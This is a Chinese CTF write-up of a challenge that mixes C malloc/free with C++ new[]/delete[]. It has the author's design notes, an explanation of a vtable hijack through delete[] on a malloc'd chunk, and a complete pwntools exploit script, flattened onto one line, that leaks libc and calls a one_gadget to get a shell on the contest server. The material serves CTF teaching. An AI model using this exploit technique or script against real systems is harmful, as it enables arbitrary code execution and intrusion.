还在纠结是学C还是C++吗?还在纠结是C好,还是C++好吗?
同为优秀的编程语言,C和C++各自收割了一大批粉丝。但是,如果把C和C++混用,会出现什么样的效果呢?
今天就让我们探索一下把C与C++的内容分配混用的第八题。
本道题目共有23支队伍解答出来,最快的7HxzZ战队,用时7个半小时左右,在解题速度上远远甩开其他队伍。
战队成员:holing
个人主页:https://bbs.pediy.com/user-742286.htm
个人简介:英国留学生,计算机系。什么都学一点,计算机安全方向会的稍微更多,逆向和pwn都会一点。经常参加ctftime上的高质量比赛,虽然每次都做不出几题,不过能学到很多东西。今年暑假毕业,正在寻找漏洞挖掘方向的实习。
《C与C++》这道题主要关注C语言中的malloc和free函数与C++中的new[],delete[]的混用可能导致的安全问题,思路比较新颖,要求参赛者对编程语言与逆向有一定程度的理解。
本题漏洞比较新颖:malloc,free,new[],delete[]的混用。
起因是我之前在知乎回答过的一个问题在C++里是怎么实现delete[]的,写完之后我就想,因为内存布局并不一样(delete[]有一个记录大小的header),所以如果把C与C++的内存分配混用,是否能导致任意代码执行
然后拖了很久,终于在这次比赛做出了这道题。本来我是想直接用new char[]的,但是发现对于基本类型,delete[]和free行为完全一致,具体可以跟一下跟进delete[],会发现几个got表跳转跳到了free。原因是基本类型不需要在delete[]的时候调用析构函数。
然后我就试着写了一个有析构函数的类,一开始不是虚析构函数。我一开始的利用思路是利用house of spirit来把C++ object array的size当作堆块的chunk free掉,或者把prev_size当作size free掉。但是仔细一想这个+8 -8一定会导致内存不对齐所以这样释放一定会abort。虽然可以重载new和delete强制让他对齐,但是这不美观,有种为了pwn而写程序的感觉了,而我不喜欢这种题目。
所以就决定加了一个虚析构函数,可以在delete一个malloc出来的array的时候能够实现虚表劫持。但是搞了半天发现没法leak,所以自己加了一个leak的后门,这个逆向menu函数的时候就能发现,所以不guessy。如果有哪个师傅能不用这个后门做出来请务必分享一下方法让我这个菜鸟学习一下。
简单起见PIE也没开,所以最后就基本已经很简单了:首先malloc然后直接free第一次让我能控制堆中的某些数据,因为free的时候不会清空内存数据(本来在delete[]里是会的,在析构函数里清0了buffer,但是编译器给我优化掉了),然后两次malloc使得第二次malloc能够让虚表够到我能控制的内存,最后delete[]调用已经被劫持的虚析构函数。
至于调用什么,name一开始放main和leak后门,然后先调用leak后门,再调用回main,然后name改成one gadget,然后调用one gadget。这里可能要注意,因为析构函数调用是从后往前调用的,所以先调用的要放在后面。
本题解题思路由看雪论坛 奈沙夜影 提供
程序逻辑比较简单,可以申请和释放内存,并且实现了c和cpp的两种内存分配方法,如下:
malloc –> free
new –> delet
分析c和cpp的实现存储方式可以发现,存储字符串时,是按照16字节进行划分的,每一段进行存储。如下:
cpp:
其中heap pos是每一个堆内存块的位置,mem pos是申请内存时返回的位置,pointer是程序中存储数据用到的位置。
在释放内存时,如果调用free,直接释放内存即可,如下:
如果调用delete,会将指针往前移8个字节,然后获取str块的count,然后将其所有块中的虚表中的release函数调用一次,如下:
通过malloc申请的内存,通过delete来释放,会按照delete的规则来进行,从而实现了c和cpp的混用,把c中的堆块size当成cpp的块数,从而依次执行其中虚表的release函数,从而实现了函数控制流劫持。
在设置name来可以布置虚表,写入两个函数,在release的时候,实现调用,由于泄露和布置虚表至少需要两次输入,应该可以在布置虚表的时候把main函数放在第二个虚表的位置,从而实现多次利用漏洞,从而实现多次利用。
Name的内容设置为:
p64(main_func)+ p64(target_func)
虚表vtable有多个,从后往前执行,其内容设置为:
Vtable(n-1): p64(name_addr)
Vtable(n): p64(name_addr+8)
这样,调用虚表函数,依次执行的函数就为:target_func,main_func
其中,泄露libc地址的函数如下:
通过puts的地址可以得到libc基址,从而计算出one_gadget地址,拿到shell,具体见利用代码。
from pwn import * def show_debug_info(flag = True): global show_info_sign if flag == True: #context.log_level = 'DEBUG' show_info_sign = True else: #context.log_level = 'info' show_info_sign = False def d2v_x64(data): return u64(data[:8].ljust(8, '\x00')) def d2v_x32(data): return u32(data[:4].ljust(4, '\x00')) def expect_data(io_or_data, b_str = None, e_str = None): if type(io_or_data) != str: t_io = io_or_data if b_str != None and b_str != "": recvuntil(t_io, b_str) data = recvuntil(t_io, e_str)[:-len(e_str)] else: if b_str == None or b_str == "": b_pos = 0 else: t_data = io_or_data b_pos = t_data.find(b_str) if b_pos == -1: return "" b_pos += len(b_str) if e_str == None or e_str == "": data = t_data[b_pos:] else: e_pos = t_data.find(e_str, b_pos) if e_pos == -1: return "" data = t_data[b_pos:e_pos] return data import sys def show_echo(data): global show_info_sign if show_info_sign: sys.stdout.write(data) def recv(io, size): data = io.recv(size) show_echo(data) return data def recvuntil(io, info): data = io.recvuntil(info) show_echo(data) return data def send(io, data): io.send(data) show_echo(data) def sendline(io, data): send(io, data + "\n") def rd_wr_str(io, info, buff): #io.recvuntil(info, timeout = 2) #io.send(buff) data = recvuntil(io, info) send(io, buff) return data def rd_wr_int(io, info, val): return rd_wr_str(io, info, str(val) + "\n") def r_w(io, info, data): if type(data) == int: return rd_wr_int(io, info, data) else: return rd_wr_str(io, info, data) def set_context(): binary_elf = ELF(binary_path) context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian) import commands def do_command(cmd_line): (status, output) = commands.getstatusoutput(cmd_line) return output global_pid_int = -1 def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript = ""): if is_local: set_pid(io) if is_pie == True: if code_base == 0: set_pid(io) data = do_command("cat /proc/%d/maps"%global_pid_int) code_base = int(data.split("\n")[0].split("-")[0], 16) #gdbscript = "" for item in break_list: gdbscript += "b *0x%x\n"%(item + code_base) gdbscript += "c\n" gdb.attach(global_pid_int, gdbscript = gdbscript) def set_pid(io): global global_pid_int if global_pid_int == -1: if is_local: """ data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1] #print "-"*0x10 #print repr(data) items = data.split(" ")[1:] global_pid_int = 0 i = 0 while len(items[i]) == 0: i += 1 global_pid_int = int(items[i]) #""" global_pid_int = pidof(io)[0] def gdb_hint(io, info = ""): if info != "": print info if is_local: set_pid(io) raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int) if info != "": print "pass", info def gdb_hint(io, info = ""): if info != "": print info if is_local: raw_input("----attach pidof '%d', press enter to continue......----"%pidof(io)[0]) if info != "": print "pass", info def get_io(target): if is_local: io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path}) #io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path}) else: io = remote(target[0], target[1]) return io def r_w(io, info, data): if type(data) == int: rd_wr_int(io, info, data) else: rd_wr_str(io, info, data) def m_c(io, choice, prompt = ">> "): r_w(io, prompt, choice) def set_item(io, choice, prompt = ["?\n"]): r_w(io, prompt, choice) def malloc(io, size, data_list): m_c(io, 1) r_w(io, "string\n", size) recvuntil(io, "string\n") for item in data_list: send(io, item) def free(io, idx): m_c(io, 2) r_w(io, "string\n", idx) def new(io, size, data_list): m_c(io, 3) r_w(io, "string\n", size) recvuntil(io, "string\n") for item in data_list: send(io, item) def delete(io, idx): m_c(io, 4) r_w(io, "string\n", idx) def pwn(io): #offset info if is_local: #local offset_system = 0x0 offset_binsh = 0x0 else: #remote offset_system = 0x0 offset_binsh = 0x0 leak_func = 0x400E10 read_buff = 0x400d00 name_addr = 0x602328 main_addr = 0x4009A0 #io.interactive() name = "" name += p64(main_addr) name += p64(leak_func) r_w(io, ": ", name[:-1]) payload = [] payload.append("111\n") malloc(io, 1, payload) payload = [] payload.append("222\n") malloc(io, 5*0x10, payload) payload = [] payload.append("333\n") malloc(io, 20*0x10, payload) payload = [] payload.append(p64(name_addr) + '4'*7) payload.append(p64(name_addr+8) + '-'*7) payload.append("4444\n") malloc(io, 3*0x10, payload) #gdb_attach(io, [0x400DB8]) delete(io, 0) data = recvuntil(io, "\n") puts_addr = int(data, 16) print hex(puts_addr) libc_addr = puts_addr - 0x6f690 name = "" name += p64(main_addr) name += p64(libc_addr + 0xf02a4) r_w(io, ": ", name[:-1]) payload = [] payload.append("111\n") malloc(io, 1, payload) payload = [] payload.append("222\n") malloc(io, 5*0x10, payload) payload = [] payload.append("333\n") malloc(io, 20*0x10, payload) payload = [] payload.append(p64(name_addr) + '4'*7) payload.append(p64(name_addr+8) + '-'*7) payload.append("4444\n") malloc(io, 3*0x10, payload) #gdb_attach(io, [0x400DD2]) delete(io, 0) #data = recvuntil(io, "\n") #puts_addr = int(data, 16) #print hex(puts_addr) io.interactive() #io.recvuntil() #payload = "" #io.sendline(payload) #io.interactive() #print proc. pass is_local = True is_local = False binary_path = "./candcpp" libc_file_path = "" libc_file_path = "libc-2.23.so" ip, port = "", 0 items = "154.8.222.144 9999".split(" ") ip = items[0] port = int(items[1]) show_info_sign = True if is_local: # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] show_debug_info(True) target = binary_path else: show_debug_info(False) target = (ip, port) io = get_io(target) pwn(io)